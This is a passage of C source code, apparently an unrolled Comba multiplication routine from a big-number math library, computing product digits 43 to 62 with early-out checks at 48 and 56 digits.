MULADD(at[38], at[69]); MULADD(at[39], at[68]); MULADD(at[40], at[67]); MULADD(at[41], at[66]); MULADD(at[42], at[65]); MULADD(at[43], at[64]);
COMBA_STORE(C->dp[43]);
/* 44 */
COMBA_FORWARD;
MULADD(at[0], at[108]); MULADD(at[1], at[107]); MULADD(at[2], at[106]); MULADD(at[3], at[105]); MULADD(at[4], at[104]); MULADD(at[5], at[103]); MULADD(at[6], at[102]); MULADD(at[7], at[101]); MULADD(at[8], at[100]); MULADD(at[9], at[99]); MULADD(at[10], at[98]); MULADD(at[11], at[97]); MULADD(at[12], at[96]); MULADD(at[13], at[95]); MULADD(at[14], at[94]); MULADD(at[15], at[93]); MULADD(at[16], at[92]); MULADD(at[17], at[91]); MULADD(at[18], at[90]); MULADD(at[19], at[89]); MULADD(at[20], at[88]); MULADD(at[21], at[87]); MULADD(at[22], at[86]); MULADD(at[23], at[85]); MULADD(at[24], at[84]); MULADD(at[25], at[83]); MULADD(at[26], at[82]); MULADD(at[27], at[81]); MULADD(at[28], at[80]); MULADD(at[29], at[79]); MULADD(at[30], at[78]); MULADD(at[31], at[77]); MULADD(at[32], at[76]); MULADD(at[33], at[75]); MULADD(at[34], at[74]); MULADD(at[35], at[73]); MULADD(at[36], at[72]); MULADD(at[37], at[71]); MULADD(at[38], at[70]); MULADD(at[39], at[69]); MULADD(at[40], at[68]); MULADD(at[41], at[67]); MULADD(at[42], at[66]); MULADD(at[43], at[65]); MULADD(at[44], at[64]);
COMBA_STORE(C->dp[44]);
/* 45 */
COMBA_FORWARD;
MULADD(at[0], at[109]); MULADD(at[1], at[108]); MULADD(at[2], at[107]); MULADD(at[3], at[106]); MULADD(at[4], at[105]); MULADD(at[5], at[104]); MULADD(at[6], at[103]); MULADD(at[7], at[102]); MULADD(at[8], at[101]); MULADD(at[9], at[100]); MULADD(at[10], at[99]); MULADD(at[11], at[98]); MULADD(at[12], at[97]); MULADD(at[13], at[96]); MULADD(at[14], at[95]); MULADD(at[15], at[94]); MULADD(at[16], at[93]); MULADD(at[17], at[92]); MULADD(at[18], at[91]); MULADD(at[19], at[90]); MULADD(at[20], at[89]); MULADD(at[21], at[88]); MULADD(at[22], at[87]); MULADD(at[23], at[86]); MULADD(at[24], at[85]); MULADD(at[25], at[84]); MULADD(at[26], at[83]); MULADD(at[27], at[82]); MULADD(at[28], at[81]); MULADD(at[29], at[80]); MULADD(at[30], at[79]); MULADD(at[31], at[78]); MULADD(at[32], at[77]); MULADD(at[33], at[76]); MULADD(at[34], at[75]); MULADD(at[35], at[74]); MULADD(at[36], at[73]); MULADD(at[37], at[72]); MULADD(at[38], at[71]); MULADD(at[39], at[70]); MULADD(at[40], at[69]); MULADD(at[41], at[68]); MULADD(at[42], at[67]); MULADD(at[43], at[66]); MULADD(at[44], at[65]); MULADD(at[45], at[64]);
COMBA_STORE(C->dp[45]);
/* 46 */
COMBA_FORWARD;
MULADD(at[0], at[110]); MULADD(at[1], at[109]); MULADD(at[2], at[108]); MULADD(at[3], at[107]); MULADD(at[4], at[106]); MULADD(at[5], at[105]); MULADD(at[6], at[104]); MULADD(at[7], at[103]); MULADD(at[8], at[102]); MULADD(at[9], at[101]); MULADD(at[10], at[100]); MULADD(at[11], at[99]); MULADD(at[12], at[98]); MULADD(at[13], at[97]); MULADD(at[14], at[96]); MULADD(at[15], at[95]); MULADD(at[16], at[94]); MULADD(at[17], at[93]); MULADD(at[18], at[92]); MULADD(at[19], at[91]); MULADD(at[20], at[90]); MULADD(at[21], at[89]); MULADD(at[22], at[88]); MULADD(at[23], at[87]); MULADD(at[24], at[86]); MULADD(at[25], at[85]); MULADD(at[26], at[84]); MULADD(at[27], at[83]); MULADD(at[28], at[82]); MULADD(at[29], at[81]); MULADD(at[30], at[80]); MULADD(at[31], at[79]); MULADD(at[32], at[78]); MULADD(at[33], at[77]); MULADD(at[34], at[76]); MULADD(at[35], at[75]); MULADD(at[36], at[74]); MULADD(at[37], at[73]); MULADD(at[38], at[72]); MULADD(at[39], at[71]); MULADD(at[40], at[70]); MULADD(at[41], at[69]); MULADD(at[42], at[68]); MULADD(at[43], at[67]); MULADD(at[44], at[66]); MULADD(at[45], at[65]); MULADD(at[46], at[64]);
COMBA_STORE(C->dp[46]);
/* early out at 48 digits, 48*32==1536, or two 768 bit operands */
if (out_size <= 48) { COMBA_STORE2(C->dp[47]); C->used = 48; C->sign = A->sign ^ B->sign; fp_clamp(C); COMBA_FINI; return; }
/* 47 */
COMBA_FORWARD;
MULADD(at[0], at[111]); MULADD(at[1], at[110]); MULADD(at[2], at[109]); MULADD(at[3], at[108]); MULADD(at[4], at[107]); MULADD(at[5], at[106]); MULADD(at[6], at[105]); MULADD(at[7], at[104]); MULADD(at[8], at[103]); MULADD(at[9], at[102]); MULADD(at[10], at[101]); MULADD(at[11], at[100]); MULADD(at[12], at[99]); MULADD(at[13], at[98]); MULADD(at[14], at[97]); MULADD(at[15], at[96]); MULADD(at[16], at[95]); MULADD(at[17], at[94]); MULADD(at[18], at[93]); MULADD(at[19], at[92]); MULADD(at[20], at[91]); MULADD(at[21], at[90]); MULADD(at[22], at[89]); MULADD(at[23], at[88]); MULADD(at[24], at[87]); MULADD(at[25], at[86]); MULADD(at[26], at[85]); MULADD(at[27], at[84]); MULADD(at[28], at[83]); MULADD(at[29], at[82]); MULADD(at[30], at[81]); MULADD(at[31], at[80]); MULADD(at[32], at[79]); MULADD(at[33], at[78]); MULADD(at[34], at[77]); MULADD(at[35], at[76]); MULADD(at[36], at[75]); MULADD(at[37], at[74]); MULADD(at[38], at[73]); MULADD(at[39], at[72]); MULADD(at[40], at[71]); MULADD(at[41], at[70]); MULADD(at[42], at[69]); MULADD(at[43], at[68]); MULADD(at[44], at[67]); MULADD(at[45], at[66]); MULADD(at[46], at[65]); MULADD(at[47], at[64]);
COMBA_STORE(C->dp[47]);
/* 48 */
COMBA_FORWARD;
MULADD(at[0], at[112]); MULADD(at[1], at[111]); MULADD(at[2], at[110]); MULADD(at[3], at[109]); MULADD(at[4], at[108]); MULADD(at[5], at[107]); MULADD(at[6], at[106]); MULADD(at[7], at[105]); MULADD(at[8], at[104]); MULADD(at[9], at[103]); MULADD(at[10], at[102]); MULADD(at[11], at[101]); MULADD(at[12], at[100]); MULADD(at[13], at[99]); MULADD(at[14], at[98]); MULADD(at[15], at[97]); MULADD(at[16], at[96]); MULADD(at[17], at[95]); MULADD(at[18], at[94]); MULADD(at[19], at[93]); MULADD(at[20], at[92]); MULADD(at[21], at[91]); MULADD(at[22], at[90]); MULADD(at[23], at[89]); MULADD(at[24], at[88]); MULADD(at[25], at[87]); MULADD(at[26], at[86]); MULADD(at[27], at[85]); MULADD(at[28], at[84]); MULADD(at[29], at[83]); MULADD(at[30], at[82]); MULADD(at[31], at[81]); MULADD(at[32], at[80]); MULADD(at[33], at[79]); MULADD(at[34], at[78]); MULADD(at[35], at[77]); MULADD(at[36], at[76]); MULADD(at[37], at[75]); MULADD(at[38], at[74]); MULADD(at[39], at[73]); MULADD(at[40], at[72]); MULADD(at[41], at[71]); MULADD(at[42], at[70]); MULADD(at[43], at[69]); MULADD(at[44], at[68]); MULADD(at[45], at[67]); MULADD(at[46], at[66]); MULADD(at[47], at[65]); MULADD(at[48], at[64]);
COMBA_STORE(C->dp[48]);
/* 49 */
COMBA_FORWARD;
MULADD(at[0], at[113]); MULADD(at[1], at[112]); MULADD(at[2], at[111]); MULADD(at[3], at[110]); MULADD(at[4], at[109]); MULADD(at[5], at[108]); MULADD(at[6], at[107]); MULADD(at[7], at[106]); MULADD(at[8], at[105]); MULADD(at[9], at[104]); MULADD(at[10], at[103]); MULADD(at[11], at[102]); MULADD(at[12], at[101]); MULADD(at[13], at[100]); MULADD(at[14], at[99]); MULADD(at[15], at[98]); MULADD(at[16], at[97]); MULADD(at[17], at[96]); MULADD(at[18], at[95]); MULADD(at[19], at[94]); MULADD(at[20], at[93]); MULADD(at[21], at[92]); MULADD(at[22], at[91]); MULADD(at[23], at[90]); MULADD(at[24], at[89]); MULADD(at[25], at[88]); MULADD(at[26], at[87]); MULADD(at[27], at[86]); MULADD(at[28], at[85]); MULADD(at[29], at[84]); MULADD(at[30], at[83]); MULADD(at[31], at[82]); MULADD(at[32], at[81]); MULADD(at[33], at[80]); MULADD(at[34], at[79]); MULADD(at[35], at[78]); MULADD(at[36], at[77]); MULADD(at[37], at[76]); MULADD(at[38], at[75]); MULADD(at[39], at[74]); MULADD(at[40], at[73]); MULADD(at[41], at[72]); MULADD(at[42], at[71]); MULADD(at[43], at[70]); MULADD(at[44], at[69]); MULADD(at[45], at[68]); MULADD(at[46], at[67]); MULADD(at[47], at[66]); MULADD(at[48], at[65]); MULADD(at[49], at[64]);
COMBA_STORE(C->dp[49]);
/* 50 */
COMBA_FORWARD;
MULADD(at[0], at[114]); MULADD(at[1], at[113]); MULADD(at[2], at[112]); MULADD(at[3], at[111]); MULADD(at[4], at[110]); MULADD(at[5], at[109]); MULADD(at[6], at[108]); MULADD(at[7], at[107]); MULADD(at[8], at[106]); MULADD(at[9], at[105]); MULADD(at[10], at[104]); MULADD(at[11], at[103]); MULADD(at[12], at[102]); MULADD(at[13], at[101]); MULADD(at[14], at[100]); MULADD(at[15], at[99]); MULADD(at[16], at[98]); MULADD(at[17], at[97]); MULADD(at[18], at[96]); MULADD(at[19], at[95]); MULADD(at[20], at[94]); MULADD(at[21], at[93]); MULADD(at[22], at[92]); MULADD(at[23], at[91]); MULADD(at[24], at[90]); MULADD(at[25], at[89]); MULADD(at[26], at[88]); MULADD(at[27], at[87]); MULADD(at[28], at[86]); MULADD(at[29], at[85]); MULADD(at[30], at[84]); MULADD(at[31], at[83]); MULADD(at[32], at[82]); MULADD(at[33], at[81]); MULADD(at[34], at[80]); MULADD(at[35], at[79]); MULADD(at[36], at[78]); MULADD(at[37], at[77]); MULADD(at[38], at[76]); MULADD(at[39], at[75]); MULADD(at[40], at[74]); MULADD(at[41], at[73]); MULADD(at[42], at[72]); MULADD(at[43], at[71]); MULADD(at[44], at[70]); MULADD(at[45], at[69]); MULADD(at[46], at[68]); MULADD(at[47], at[67]); MULADD(at[48], at[66]); MULADD(at[49], at[65]); MULADD(at[50], at[64]);
COMBA_STORE(C->dp[50]);
/* 51 */
COMBA_FORWARD;
MULADD(at[0], at[115]); MULADD(at[1], at[114]); MULADD(at[2], at[113]); MULADD(at[3], at[112]); MULADD(at[4], at[111]); MULADD(at[5], at[110]); MULADD(at[6], at[109]); MULADD(at[7], at[108]); MULADD(at[8], at[107]); MULADD(at[9], at[106]); MULADD(at[10], at[105]); MULADD(at[11], at[104]); MULADD(at[12], at[103]); MULADD(at[13], at[102]); MULADD(at[14], at[101]); MULADD(at[15], at[100]); MULADD(at[16], at[99]); MULADD(at[17], at[98]); MULADD(at[18], at[97]); MULADD(at[19], at[96]); MULADD(at[20], at[95]); MULADD(at[21], at[94]); MULADD(at[22], at[93]); MULADD(at[23], at[92]); MULADD(at[24], at[91]); MULADD(at[25], at[90]); MULADD(at[26], at[89]); MULADD(at[27], at[88]); MULADD(at[28], at[87]); MULADD(at[29], at[86]); MULADD(at[30], at[85]); MULADD(at[31], at[84]); MULADD(at[32], at[83]); MULADD(at[33], at[82]); MULADD(at[34], at[81]); MULADD(at[35], at[80]); MULADD(at[36], at[79]); MULADD(at[37], at[78]); MULADD(at[38], at[77]); MULADD(at[39], at[76]); MULADD(at[40], at[75]); MULADD(at[41], at[74]); MULADD(at[42], at[73]); MULADD(at[43], at[72]); MULADD(at[44], at[71]); MULADD(at[45], at[70]); MULADD(at[46], at[69]); MULADD(at[47], at[68]); MULADD(at[48], at[67]); MULADD(at[49], at[66]); MULADD(at[50], at[65]); MULADD(at[51], at[64]);
COMBA_STORE(C->dp[51]);
/* 52 */
COMBA_FORWARD;
MULADD(at[0], at[116]); MULADD(at[1], at[115]); MULADD(at[2], at[114]); MULADD(at[3], at[113]); MULADD(at[4], at[112]); MULADD(at[5], at[111]); MULADD(at[6], at[110]); MULADD(at[7], at[109]); MULADD(at[8], at[108]); MULADD(at[9], at[107]); MULADD(at[10], at[106]); MULADD(at[11], at[105]); MULADD(at[12], at[104]); MULADD(at[13], at[103]); MULADD(at[14], at[102]); MULADD(at[15], at[101]); MULADD(at[16], at[100]); MULADD(at[17], at[99]); MULADD(at[18], at[98]); MULADD(at[19], at[97]); MULADD(at[20], at[96]); MULADD(at[21], at[95]); MULADD(at[22], at[94]); MULADD(at[23], at[93]); MULADD(at[24], at[92]); MULADD(at[25], at[91]); MULADD(at[26], at[90]); MULADD(at[27], at[89]); MULADD(at[28], at[88]); MULADD(at[29], at[87]); MULADD(at[30], at[86]); MULADD(at[31], at[85]); MULADD(at[32], at[84]); MULADD(at[33], at[83]); MULADD(at[34], at[82]); MULADD(at[35], at[81]); MULADD(at[36], at[80]); MULADD(at[37], at[79]); MULADD(at[38], at[78]); MULADD(at[39], at[77]); MULADD(at[40], at[76]); MULADD(at[41], at[75]); MULADD(at[42], at[74]); MULADD(at[43], at[73]); MULADD(at[44], at[72]); MULADD(at[45], at[71]); MULADD(at[46], at[70]); MULADD(at[47], at[69]); MULADD(at[48], at[68]); MULADD(at[49], at[67]); MULADD(at[50], at[66]); MULADD(at[51], at[65]); MULADD(at[52], at[64]);
COMBA_STORE(C->dp[52]);
/* 53 */
COMBA_FORWARD;
MULADD(at[0], at[117]); MULADD(at[1], at[116]); MULADD(at[2], at[115]); MULADD(at[3], at[114]); MULADD(at[4], at[113]); MULADD(at[5], at[112]); MULADD(at[6], at[111]); MULADD(at[7], at[110]); MULADD(at[8], at[109]); MULADD(at[9], at[108]); MULADD(at[10], at[107]); MULADD(at[11], at[106]); MULADD(at[12], at[105]); MULADD(at[13], at[104]); MULADD(at[14], at[103]); MULADD(at[15], at[102]); MULADD(at[16], at[101]); MULADD(at[17], at[100]); MULADD(at[18], at[99]); MULADD(at[19], at[98]); MULADD(at[20], at[97]); MULADD(at[21], at[96]); MULADD(at[22], at[95]); MULADD(at[23], at[94]); MULADD(at[24], at[93]); MULADD(at[25], at[92]); MULADD(at[26], at[91]); MULADD(at[27], at[90]); MULADD(at[28], at[89]); MULADD(at[29], at[88]); MULADD(at[30], at[87]); MULADD(at[31], at[86]); MULADD(at[32], at[85]); MULADD(at[33], at[84]); MULADD(at[34], at[83]); MULADD(at[35], at[82]); MULADD(at[36], at[81]); MULADD(at[37], at[80]); MULADD(at[38], at[79]); MULADD(at[39], at[78]); MULADD(at[40], at[77]); MULADD(at[41], at[76]); MULADD(at[42], at[75]); MULADD(at[43], at[74]); MULADD(at[44], at[73]); MULADD(at[45], at[72]); MULADD(at[46], at[71]); MULADD(at[47], at[70]); MULADD(at[48], at[69]); MULADD(at[49], at[68]); MULADD(at[50], at[67]); MULADD(at[51], at[66]); MULADD(at[52], at[65]); MULADD(at[53], at[64]);
COMBA_STORE(C->dp[53]);
/* 54 */
COMBA_FORWARD;
MULADD(at[0], at[118]); MULADD(at[1], at[117]); MULADD(at[2], at[116]); MULADD(at[3], at[115]); MULADD(at[4], at[114]); MULADD(at[5], at[113]); MULADD(at[6], at[112]); MULADD(at[7], at[111]); MULADD(at[8], at[110]); MULADD(at[9], at[109]); MULADD(at[10], at[108]); MULADD(at[11], at[107]); MULADD(at[12], at[106]); MULADD(at[13], at[105]); MULADD(at[14], at[104]); MULADD(at[15], at[103]); MULADD(at[16], at[102]); MULADD(at[17], at[101]); MULADD(at[18], at[100]); MULADD(at[19], at[99]); MULADD(at[20], at[98]); MULADD(at[21], at[97]); MULADD(at[22], at[96]); MULADD(at[23], at[95]); MULADD(at[24], at[94]); MULADD(at[25], at[93]); MULADD(at[26], at[92]); MULADD(at[27], at[91]); MULADD(at[28], at[90]); MULADD(at[29], at[89]); MULADD(at[30], at[88]); MULADD(at[31], at[87]); MULADD(at[32], at[86]); MULADD(at[33], at[85]); MULADD(at[34], at[84]); MULADD(at[35], at[83]); MULADD(at[36], at[82]); MULADD(at[37], at[81]); MULADD(at[38], at[80]); MULADD(at[39], at[79]); MULADD(at[40], at[78]); MULADD(at[41], at[77]); MULADD(at[42], at[76]); MULADD(at[43], at[75]); MULADD(at[44], at[74]); MULADD(at[45], at[73]); MULADD(at[46], at[72]); MULADD(at[47], at[71]); MULADD(at[48], at[70]); MULADD(at[49], at[69]); MULADD(at[50], at[68]); MULADD(at[51], at[67]); MULADD(at[52], at[66]); MULADD(at[53], at[65]); MULADD(at[54], at[64]);
COMBA_STORE(C->dp[54]);
/* early out at 56 digits, 56*32==1792, or two 896 bit operands */
if (out_size <= 56) { COMBA_STORE2(C->dp[55]); C->used = 56; C->sign = A->sign ^ B->sign; fp_clamp(C); COMBA_FINI; return; }
/* 55 */
COMBA_FORWARD;
MULADD(at[0], at[119]); MULADD(at[1], at[118]); MULADD(at[2], at[117]); MULADD(at[3], at[116]); MULADD(at[4], at[115]); MULADD(at[5], at[114]); MULADD(at[6], at[113]); MULADD(at[7], at[112]); MULADD(at[8], at[111]); MULADD(at[9], at[110]); MULADD(at[10], at[109]); MULADD(at[11], at[108]); MULADD(at[12], at[107]); MULADD(at[13], at[106]); MULADD(at[14], at[105]); MULADD(at[15], at[104]); MULADD(at[16], at[103]); MULADD(at[17], at[102]); MULADD(at[18], at[101]); MULADD(at[19], at[100]); MULADD(at[20], at[99]); MULADD(at[21], at[98]); MULADD(at[22], at[97]); MULADD(at[23], at[96]); MULADD(at[24], at[95]); MULADD(at[25], at[94]); MULADD(at[26], at[93]); MULADD(at[27], at[92]); MULADD(at[28], at[91]); MULADD(at[29], at[90]); MULADD(at[30], at[89]); MULADD(at[31], at[88]); MULADD(at[32], at[87]); MULADD(at[33], at[86]); MULADD(at[34], at[85]); MULADD(at[35], at[84]); MULADD(at[36], at[83]); MULADD(at[37], at[82]); MULADD(at[38], at[81]); MULADD(at[39], at[80]); MULADD(at[40], at[79]); MULADD(at[41], at[78]); MULADD(at[42], at[77]); MULADD(at[43], at[76]); MULADD(at[44], at[75]); MULADD(at[45], at[74]); MULADD(at[46], at[73]); MULADD(at[47], at[72]); MULADD(at[48], at[71]); MULADD(at[49], at[70]); MULADD(at[50], at[69]); MULADD(at[51], at[68]); MULADD(at[52], at[67]); MULADD(at[53], at[66]); MULADD(at[54], at[65]); MULADD(at[55], at[64]);
COMBA_STORE(C->dp[55]);
/* 56 */
COMBA_FORWARD;
MULADD(at[0], at[120]); MULADD(at[1], at[119]); MULADD(at[2], at[118]); MULADD(at[3], at[117]); MULADD(at[4], at[116]); MULADD(at[5], at[115]); MULADD(at[6], at[114]); MULADD(at[7], at[113]); MULADD(at[8], at[112]); MULADD(at[9], at[111]); MULADD(at[10], at[110]); MULADD(at[11], at[109]); MULADD(at[12], at[108]); MULADD(at[13], at[107]); MULADD(at[14], at[106]); MULADD(at[15], at[105]); MULADD(at[16], at[104]); MULADD(at[17], at[103]); MULADD(at[18], at[102]); MULADD(at[19], at[101]); MULADD(at[20], at[100]); MULADD(at[21], at[99]); MULADD(at[22], at[98]); MULADD(at[23], at[97]); MULADD(at[24], at[96]); MULADD(at[25], at[95]); MULADD(at[26], at[94]); MULADD(at[27], at[93]); MULADD(at[28], at[92]); MULADD(at[29], at[91]); MULADD(at[30], at[90]); MULADD(at[31], at[89]); MULADD(at[32], at[88]); MULADD(at[33], at[87]); MULADD(at[34], at[86]); MULADD(at[35], at[85]); MULADD(at[36], at[84]); MULADD(at[37], at[83]); MULADD(at[38], at[82]); MULADD(at[39], at[81]); MULADD(at[40], at[80]); MULADD(at[41], at[79]); MULADD(at[42], at[78]); MULADD(at[43], at[77]); MULADD(at[44], at[76]); MULADD(at[45], at[75]); MULADD(at[46], at[74]); MULADD(at[47], at[73]); MULADD(at[48], at[72]); MULADD(at[49], at[71]); MULADD(at[50], at[70]); MULADD(at[51], at[69]); MULADD(at[52], at[68]); MULADD(at[53], at[67]); MULADD(at[54], at[66]); MULADD(at[55], at[65]); MULADD(at[56], at[64]);
COMBA_STORE(C->dp[56]);
/* 57 */
COMBA_FORWARD;
MULADD(at[0], at[121]); MULADD(at[1], at[120]); MULADD(at[2], at[119]); MULADD(at[3], at[118]); MULADD(at[4], at[117]); MULADD(at[5], at[116]); MULADD(at[6], at[115]); MULADD(at[7], at[114]); MULADD(at[8], at[113]); MULADD(at[9], at[112]); MULADD(at[10], at[111]); MULADD(at[11], at[110]); MULADD(at[12], at[109]); MULADD(at[13], at[108]); MULADD(at[14], at[107]); MULADD(at[15], at[106]); MULADD(at[16], at[105]); MULADD(at[17], at[104]); MULADD(at[18], at[103]); MULADD(at[19], at[102]); MULADD(at[20], at[101]); MULADD(at[21], at[100]); MULADD(at[22], at[99]); MULADD(at[23], at[98]); MULADD(at[24], at[97]); MULADD(at[25], at[96]); MULADD(at[26], at[95]); MULADD(at[27], at[94]); MULADD(at[28], at[93]); MULADD(at[29], at[92]); MULADD(at[30], at[91]); MULADD(at[31], at[90]); MULADD(at[32], at[89]); MULADD(at[33], at[88]); MULADD(at[34], at[87]); MULADD(at[35], at[86]); MULADD(at[36], at[85]); MULADD(at[37], at[84]); MULADD(at[38], at[83]); MULADD(at[39], at[82]); MULADD(at[40], at[81]); MULADD(at[41], at[80]); MULADD(at[42], at[79]); MULADD(at[43], at[78]); MULADD(at[44], at[77]); MULADD(at[45], at[76]); MULADD(at[46], at[75]); MULADD(at[47], at[74]); MULADD(at[48], at[73]); MULADD(at[49], at[72]); MULADD(at[50], at[71]); MULADD(at[51], at[70]); MULADD(at[52], at[69]); MULADD(at[53], at[68]); MULADD(at[54], at[67]); MULADD(at[55], at[66]); MULADD(at[56], at[65]); MULADD(at[57], at[64]);
COMBA_STORE(C->dp[57]);
/* 58 */
COMBA_FORWARD;
MULADD(at[0], at[122]); MULADD(at[1], at[121]); MULADD(at[2], at[120]); MULADD(at[3], at[119]); MULADD(at[4], at[118]); MULADD(at[5], at[117]); MULADD(at[6], at[116]); MULADD(at[7], at[115]); MULADD(at[8], at[114]); MULADD(at[9], at[113]); MULADD(at[10], at[112]); MULADD(at[11], at[111]); MULADD(at[12], at[110]); MULADD(at[13], at[109]); MULADD(at[14], at[108]); MULADD(at[15], at[107]); MULADD(at[16], at[106]); MULADD(at[17], at[105]); MULADD(at[18], at[104]); MULADD(at[19], at[103]); MULADD(at[20], at[102]); MULADD(at[21], at[101]); MULADD(at[22], at[100]); MULADD(at[23], at[99]); MULADD(at[24], at[98]); MULADD(at[25], at[97]); MULADD(at[26], at[96]); MULADD(at[27], at[95]); MULADD(at[28], at[94]); MULADD(at[29], at[93]); MULADD(at[30], at[92]); MULADD(at[31], at[91]); MULADD(at[32], at[90]); MULADD(at[33], at[89]); MULADD(at[34], at[88]); MULADD(at[35], at[87]); MULADD(at[36], at[86]); MULADD(at[37], at[85]); MULADD(at[38], at[84]); MULADD(at[39], at[83]); MULADD(at[40], at[82]); MULADD(at[41], at[81]); MULADD(at[42], at[80]); MULADD(at[43], at[79]); MULADD(at[44], at[78]); MULADD(at[45], at[77]); MULADD(at[46], at[76]); MULADD(at[47], at[75]); MULADD(at[48], at[74]); MULADD(at[49], at[73]); MULADD(at[50], at[72]); MULADD(at[51], at[71]); MULADD(at[52], at[70]); MULADD(at[53], at[69]); MULADD(at[54], at[68]); MULADD(at[55], at[67]); MULADD(at[56], at[66]); MULADD(at[57], at[65]); MULADD(at[58], at[64]);
COMBA_STORE(C->dp[58]);
/* 59 */
COMBA_FORWARD;
MULADD(at[0], at[123]); MULADD(at[1], at[122]); MULADD(at[2], at[121]); MULADD(at[3], at[120]); MULADD(at[4], at[119]); MULADD(at[5], at[118]); MULADD(at[6], at[117]); MULADD(at[7], at[116]); MULADD(at[8], at[115]); MULADD(at[9], at[114]); MULADD(at[10], at[113]); MULADD(at[11], at[112]); MULADD(at[12], at[111]); MULADD(at[13], at[110]); MULADD(at[14], at[109]); MULADD(at[15], at[108]); MULADD(at[16], at[107]); MULADD(at[17], at[106]); MULADD(at[18], at[105]); MULADD(at[19], at[104]); MULADD(at[20], at[103]); MULADD(at[21], at[102]); MULADD(at[22], at[101]); MULADD(at[23], at[100]); MULADD(at[24], at[99]); MULADD(at[25], at[98]); MULADD(at[26], at[97]); MULADD(at[27], at[96]); MULADD(at[28], at[95]); MULADD(at[29], at[94]); MULADD(at[30], at[93]); MULADD(at[31], at[92]); MULADD(at[32], at[91]); MULADD(at[33], at[90]); MULADD(at[34], at[89]); MULADD(at[35], at[88]); MULADD(at[36], at[87]); MULADD(at[37], at[86]); MULADD(at[38], at[85]); MULADD(at[39], at[84]); MULADD(at[40], at[83]); MULADD(at[41], at[82]); MULADD(at[42], at[81]); MULADD(at[43], at[80]); MULADD(at[44], at[79]); MULADD(at[45], at[78]); MULADD(at[46], at[77]); MULADD(at[47], at[76]); MULADD(at[48], at[75]); MULADD(at[49], at[74]); MULADD(at[50], at[73]); MULADD(at[51], at[72]); MULADD(at[52], at[71]); MULADD(at[53], at[70]); MULADD(at[54], at[69]); MULADD(at[55], at[68]); MULADD(at[56], at[67]); MULADD(at[57], at[66]); MULADD(at[58], at[65]); MULADD(at[59], at[64]);
COMBA_STORE(C->dp[59]);
/* 60 */
COMBA_FORWARD;
MULADD(at[0], at[124]); MULADD(at[1], at[123]); MULADD(at[2], at[122]); MULADD(at[3], at[121]); MULADD(at[4], at[120]); MULADD(at[5], at[119]); MULADD(at[6], at[118]); MULADD(at[7], at[117]); MULADD(at[8], at[116]); MULADD(at[9], at[115]); MULADD(at[10], at[114]); MULADD(at[11], at[113]); MULADD(at[12], at[112]); MULADD(at[13], at[111]); MULADD(at[14], at[110]); MULADD(at[15], at[109]); MULADD(at[16], at[108]); MULADD(at[17], at[107]); MULADD(at[18], at[106]); MULADD(at[19], at[105]); MULADD(at[20], at[104]); MULADD(at[21], at[103]); MULADD(at[22], at[102]); MULADD(at[23], at[101]); MULADD(at[24], at[100]); MULADD(at[25], at[99]); MULADD(at[26], at[98]); MULADD(at[27], at[97]); MULADD(at[28], at[96]); MULADD(at[29], at[95]); MULADD(at[30], at[94]); MULADD(at[31], at[93]); MULADD(at[32], at[92]); MULADD(at[33], at[91]); MULADD(at[34], at[90]); MULADD(at[35], at[89]); MULADD(at[36], at[88]); MULADD(at[37], at[87]); MULADD(at[38], at[86]); MULADD(at[39], at[85]); MULADD(at[40], at[84]); MULADD(at[41], at[83]); MULADD(at[42], at[82]); MULADD(at[43], at[81]); MULADD(at[44], at[80]); MULADD(at[45], at[79]); MULADD(at[46], at[78]); MULADD(at[47], at[77]); MULADD(at[48], at[76]); MULADD(at[49], at[75]); MULADD(at[50], at[74]); MULADD(at[51], at[73]); MULADD(at[52], at[72]); MULADD(at[53], at[71]); MULADD(at[54], at[70]); MULADD(at[55], at[69]); MULADD(at[56], at[68]); MULADD(at[57], at[67]); MULADD(at[58], at[66]); MULADD(at[59], at[65]); MULADD(at[60], at[64]);
COMBA_STORE(C->dp[60]);
/* 61 */
COMBA_FORWARD;
MULADD(at[0], at[125]); MULADD(at[1], at[124]); MULADD(at[2], at[123]); MULADD(at[3], at[122]); MULADD(at[4], at[121]); MULADD(at[5], at[120]); MULADD(at[6], at[119]); MULADD(at[7], at[118]); MULADD(at[8], at[117]); MULADD(at[9], at[116]); MULADD(at[10], at[115]); MULADD(at[11], at[114]); MULADD(at[12], at[113]); MULADD(at[13], at[112]); MULADD(at[14], at[111]); MULADD(at[15], at[110]); MULADD(at[16], at[109]); MULADD(at[17], at[108]); MULADD(at[18], at[107]); MULADD(at[19], at[106]); MULADD(at[20], at[105]); MULADD(at[21], at[104]); MULADD(at[22], at[103]); MULADD(at[23], at[102]); MULADD(at[24], at[101]); MULADD(at[25], at[100]); MULADD(at[26], at[99]); MULADD(at[27], at[98]); MULADD(at[28], at[97]); MULADD(at[29], at[96]); MULADD(at[30], at[95]); MULADD(at[31], at[94]); MULADD(at[32], at[93]); MULADD(at[33], at[92]); MULADD(at[34], at[91]); MULADD(at[35], at[90]); MULADD(at[36], at[89]); MULADD(at[37], at[88]); MULADD(at[38], at[87]); MULADD(at[39], at[86]); MULADD(at[40], at[85]); MULADD(at[41], at[84]); MULADD(at[42], at[83]); MULADD(at[43], at[82]); MULADD(at[44], at[81]); MULADD(at[45], at[80]); MULADD(at[46], at[79]); MULADD(at[47], at[78]); MULADD(at[48], at[77]); MULADD(at[49], at[76]); MULADD(at[50], at[75]); MULADD(at[51], at[74]); MULADD(at[52], at[73]); MULADD(at[53], at[72]); MULADD(at[54], at[71]); MULADD(at[55], at[70]); MULADD(at[56], at[69]); MULADD(at[57], at[68]); MULADD(at[58], at[67]); MULADD(at[59], at[66]); MULADD(at[60], at[65]); MULADD(at[61], at[64]);
COMBA_STORE(C->dp[61]);
/* 62 */
COMBA_FORWARD;
MULADD(at[0], at[126]); MULADD(at[1], at[125]); MULADD(at[2], at[124]); MULADD(at[3], at[123]); MULADD(at[4], at[122]); MULADD(at[5], at[121]); MULADD(at[6], at[120]); MULADD(at[7], at[119]); MULADD(at[8], at[118]); MULADD(at[9], at[117]); MULADD(at[10], at[116]); MULADD(at[11], at[115]); MULADD(at[12], at[114]); MULADD(at[13], at[113]); MULADD(at[14], at[112]); MULADD(at[15], at[111]); MULADD(at[16], at[110]); MULADD(at[17], at[109]); MULADD(at[18], at[108]); MULADD(at[19], at[107]); MULADD(at[20], at[106]); MULADD(at[21], at[105]); MULADD(at[22], at[104]); MULADD(at[23], at[103]); MULADD(at[24], at[102]); MULADD(at[25], at[101]); MULADD(at[26], at[100]); MULADD(at[27], at[99]); MULADD(at[28], at[98]); MULADD(at[29], at[97]); MULADD(at[30], at[96]); MULADD(at[31], at[95]); MULADD(at[32], at[94]); MULADD(at[33], at[93]); MULADD(at[34], at[92]); MULADD(at[35], 